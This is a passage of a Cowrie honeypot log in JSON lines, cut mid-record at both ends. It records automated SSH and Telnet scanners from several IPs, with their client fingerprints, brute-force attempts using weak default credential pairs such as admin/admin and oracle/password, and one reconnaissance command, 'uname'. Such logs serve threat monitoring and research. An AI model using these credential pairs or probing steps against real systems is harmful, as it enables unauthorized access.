0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:35.377474Z","src_ip":"47.86.95.62","session":"6f27917ce249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:36.024455Z","src_ip":"47.86.95.62","session":"6f27917ce249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:37.244064Z","src_ip":"47.86.95.62","session":"6f27917ce249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":57102,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0ebd4f7d6d9","protocol":"ssh","message":"New connection: 47.86.95.62:57102 (10.17.0.5:22) [session: c0ebd4f7d6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:39.622488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:39.630224Z","src_ip":"47.86.95.62","session":"c0ebd4f7d6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:39.838651Z","src_ip":"47.86.95.62","session":"c0ebd4f7d6d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:40.744292Z","src_ip":"47.86.95.62","session":"c0ebd4f7d6d9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:41.201860Z","src_ip":"47.86.95.62","session":"c0ebd4f7d6d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:41.204805Z","src_ip":"47.86.95.62","session":"c0ebd4f7d6d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:41.414431Z","src_ip":"47.86.95.62","session":"c0ebd4f7d6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:09:41.866573Z","src_ip":"47.86.95.62","session":"c0ebd4f7d6d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60272,"dst_ip":"10.17.0.5","dst_port":23,"session":"6daaed8717ea","protocol":"telnet","message":"New connection: 50.6.8.71:60272 (10.17.0.5:23) [session: 6daaed8717ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:01.402480Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":56608,"dst_ip":"10.17.0.5","dst_port":22,"session":"98ed637dd856","protocol":"ssh","message":"New connection: 47.86.95.62:56608 (10.17.0.5:22) [session: 98ed637dd856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:12.585768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:12.773855Z","src_ip":"47.86.95.62","session":"98ed637dd856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:13.084899Z","src_ip":"47.86.95.62","session":"98ed637dd856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:14.212638Z","src_ip":"47.86.95.62","session":"98ed637dd856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:15.608739Z","src_ip":"47.86.95.62","session":"98ed637dd856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36798,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a4e36f6b07","protocol":"ssh","message":"New connection: 47.86.95.62:36798 (10.17.0.5:22) [session: 16a4e36f6b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:23.420887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:23.426056Z","src_ip":"47.86.95.62","session":"16a4e36f6b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:23.641462Z","src_ip":"47.86.95.62","session":"16a4e36f6b07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:24.288555Z","src_ip":"47.86.95.62","session":"16a4e36f6b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:25.505700Z","src_ip":"47.86.95.62","session":"16a4e36f6b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36806,"dst_ip":"10.17.0.5","dst_port":22,"session":"b61e3d6e63e2","protocol":"ssh","message":"New connection: 47.86.95.62:36806 (10.17.0.5:22) [session: b61e3d6e63e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:28.068306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:28.072913Z","src_ip":"47.86.95.62","session":"b61e3d6e63e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:28.279258Z","src_ip":"47.86.95.62","session":"b61e3d6e63e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:28.896838Z","src_ip":"47.86.95.62","session":"b61e3d6e63e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:30.106056Z","src_ip":"47.86.95.62","session":"b61e3d6e63e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.587301015853882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:31.989638Z","src_ip":"50.6.8.71","session":"6daaed8717ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53734,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f823aa6fc6","protocol":"ssh","message":"New connection: 47.86.95.62:53734 (10.17.0.5:22) [session: 24f823aa6fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:46.360716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:51.673893Z","src_ip":"47.86.95.62","session":"24f823aa6fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:51.680752Z","src_ip":"47.86.95.62","session":"24f823aa6fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:10:59.746234Z","src_ip":"47.86.95.62","session":"24f823aa6fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:01.021433Z","src_ip":"47.86.95.62","session":"24f823aa6fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.92.76","src_port":59680,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa4fb9df330","protocol":"ssh","message":"New connection: 217.154.92.76:59680 (10.17.0.5:22) [session: ffa4fb9df330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:03.960515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:03.966423Z","src_ip":"217.154.92.76","session":"ffa4fb9df330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:04.708848Z","src_ip":"217.154.92.76","session":"ffa4fb9df330","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:05.217977Z","src_ip":"217.154.92.76","session":"ffa4fb9df330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:05.325461Z","src_ip":"217.154.92.76","session":"ffa4fb9df330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":55114,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fc0bd2af4f9","protocol":"ssh","message":"New connection: 130.12.180.51:55114 (10.17.0.5:22) [session: 4fc0bd2af4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:05.408298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:05.413758Z","src_ip":"130.12.180.51","session":"4fc0bd2af4f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:05.496443Z","src_ip":"130.12.180.51","session":"4fc0bd2af4f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:05.745487Z","src_ip":"130.12.180.51","session":"4fc0bd2af4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:06.276922Z","src_ip":"130.12.180.51","session":"4fc0bd2af4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44880,"dst_ip":"10.17.0.5","dst_port":22,"session":"05dd39022a3a","protocol":"ssh","message":"New connection: 47.86.95.62:44880 (10.17.0.5:22) [session: 05dd39022a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:07.752542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:07.756548Z","src_ip":"47.86.95.62","session":"05dd39022a3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cer